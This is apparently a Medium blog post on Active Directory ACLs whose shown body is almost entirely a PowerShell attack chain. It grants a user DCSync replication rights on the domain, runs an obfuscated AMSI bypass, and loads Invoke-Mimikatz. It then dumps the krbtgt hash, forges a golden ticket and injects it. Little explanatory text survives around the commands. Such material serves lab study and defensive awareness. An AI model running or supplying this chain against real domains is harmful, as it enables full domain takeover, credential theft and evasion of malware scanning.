Allow vs Deny in ACLs, & a False Sense of Security

(Get-ADUser $env:USERNAME -Properties *).MemberOf | Format-List(Get-Acl ‘dc=corp,dc=local’).Access | Where {($_.IdentityReference -like “*IT Sec*”) -or ($_.IdentityReference -like “*Contractors*”)}Remove-ADGroupMember -Identity “Contractors” -Members Insider
$acl = Get-ACL “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity Insider).SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”ALLOW”,([GUID](“1131f6ad-9c07–11d1-f79f-00c04fc2dcd2”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”ALLOW”,([GUID](“1131f6aa-9c07–11d1-f79f-00c04fc2dcd2”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl
#AMSI Bypass, dump krbtgt, forge a ticket
S`eT-It`em ( ‘V’+’aR’ + ‘IA’ + (‘blE:1’+’q2') + (‘uZ’+’x’) ) ( [TYpE]( “{1}{0}”-F’F’,’rE’ ) ) ; ( Get-varI`A`BLE ( (‘1Q’+’2U’) +’zX’ ) -VaL ).”A`ss`Embly”.”GET`TY`Pe”(( “{6}{3}{1}{4}{2}{0}{5}” -f(‘Uti’+’l’),’A’,(‘Am’+’si’),(‘.Man’+’age’+’men’+’t.’),(‘u’+’to’+’mation.’),’s’,(‘Syst’+’em’) ) ).”g`etf`iElD”( ( “{0}{2}{1}” -f(‘a’+’msi’),’d’,(‘I’+’nitF’+’aile’) ),( “{2}{4}{0}{1}{3}” -f (‘S’+’tat’),’i’,(‘Non’+’Publ’+’i’),’c’,’c,’ )).”sE`T`VaLUE”( ${n`ULl},${t`RuE} )
Import-Module C:\Temp\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command ‘“lsadump::dcsync /user:corp\krbtgt”’
Invoke-Mimikatz -Command ‘“kerberos::golden /User:Administrator /domain:corp.local /sid:S-1–5–21–1917967189–4054103991–136247481 /krbtgt:cb542d2484aae7b5156c9a1a7bbb31e7 id:500 /ticket:forged.kirbi”’Invoke-Mimikatz -Command ‘“kerberos::ptt forged.kirbi”’

--

--

--

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from work or the lab.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Announcing a Special Surprise for Early Bird Tier1 Investors: Your Own Revuto NFT

Introducing Dolphin Testnet

‼️ BE AWARE OF SCAMMERS!‼️

How To Install Defii Wallet On Your Mobile Device

Repelling A Ransomware Attack: Shaun Davis of Netsurit On The 5 Things You Need To Do To Protect…

Reading Hackable Without a Background in Security

Rubic Weekly Report 01/22

Job Scam Attack: Fake Offers and Checks — CyberHoot

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Rich

Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from work or the lab.

More from Medium

Indie-Hop Gods Meet Craft Beer Savants

Theodore Roosevelt Statue Is Removed From New York’s Natural History Museum

OFAC Checker: An intuitive application for screening against the OFAC sanctions list

3D Model Documentation